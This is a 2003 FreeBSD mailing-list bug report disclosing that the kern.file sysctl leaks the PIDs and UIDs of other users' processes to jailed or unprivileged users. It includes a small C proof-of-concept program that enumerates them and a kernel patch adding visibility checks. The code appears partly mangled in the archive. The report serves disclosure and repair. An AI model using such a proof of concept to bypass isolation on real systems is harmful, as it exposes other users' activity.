kern/54211: Seeing other uid with kern.file sysctl.

Pawel Jakub Dawidek nick at
Tue Jul 8 02:50:18 PDT 2003

>Number:         54211
>Category:       kern
>Synopsis:       Seeing other uid with kern.file sysctl.
>Confidential:   no
>Severity:       critical
>Priority:       high
>Responsible:    freebsd-bugs
>State:          open
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Tue Jul 08 02:50:16 PDT 2003
>Originator:     Pawel Jakub Dawidek
>Release:        FreeBSD 5.1-CURRENT i386
System: FreeBSD czort.hell.none 5.1-CURRENT FreeBSD 5.1-CURRENT #6: Mon Jul 7 18:59:08 CEST 2003 root at czort.hell.none:/usr/obj/usr/src/sys/CZORT i386

	There is a way to get PIDs and UIDs of most of every processes running
	even if we are in jail or we are unprivileged user, but
	security.bsd.see_other_uids is set to 1. The only contition is that
	process have to have opened files. We could use for this sysctl
	kern.file that don't check if calling process could see other process.
	This bug doesn't seems to exist in FreeBSD 4.x, because credentials 
	and PID of process isn't exported to userland and in 5.x it is via
	xfile struct.

	Here is a little program which shows how to use it.
	Should be run as follows:
	# gcc -Wall -o xfilehack xfilehack.c
	# jail / temp `pwd`/xfilehack | uniq

        ---[ start of xfilehack.c ]---
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/file.h>
#include <libgen.h>
#include <string.h>
#include <errno.h>

main(int argc, char *argv[])
	struct xfile *files;
	const char *comm;
	size_t fsize = 0;
	int i;

	comm = basename(argv[0]);

	if (sysctlbyname("kern.file", NULL, &fsize, NULL, 0) != 0) {
		fprintf(stderr, "%s: %s\n", comm, strerror(errno));
	files = malloc(fsize);
	if (files == NULL) {
		fprintf(stderr, "%s: %s\n", comm, strerror(ENOMEM));
	if (sysctlbyname("kern.file", files, &fsize, NULL, 0) != 0) {
		fprintf(stderr, "%s: %s\n", comm, strerror(errno));
	fsize /= sizeof(struct xfile);
	printf("PID	EUID\n");
	for (i = 0; i < (int)fsize; ++i)
		printf("%u	%u\n", files[i].xf_pid, files[i].xf_uid);

        ---[ end of xfilehack.c ]---

        This patch fix the problem:

diff -ur /usr/src/sys/kern/kern_descrip.c src/sys/kern/kern_descrip.c
--- /usr/src/sys/kern/kern_descrip.c	Mon Jul  7 22:11:49 2003
+++ src/sys/kern/kern_descrip.c	Tue Jul  8 02:26:16 2003
@@ -2284,6 +2284,8 @@
 		n = 16;		/* A slight overestimate. */
 		LIST_FOREACH(fp, &filehead, f_list) {
+			if (cr_cansee(req->td->td_ucred, fp->f_cred) != 0)
+				continue;
 			 * We should grab the lock, but this is an
 			 * estimate, so does it really matter?
@@ -2301,6 +2303,10 @@
 	LIST_FOREACH(p, &allproc, p_list) {
+		if (cr_cansee(req->td->td_ucred, p->p_ucred) != 0) {
+			continue;
+		}
 		xf.xf_pid = p->p_pid;
 		xf.xf_uid = p->p_ucred->cr_uid;

More information about the freebsd-bugs mailing list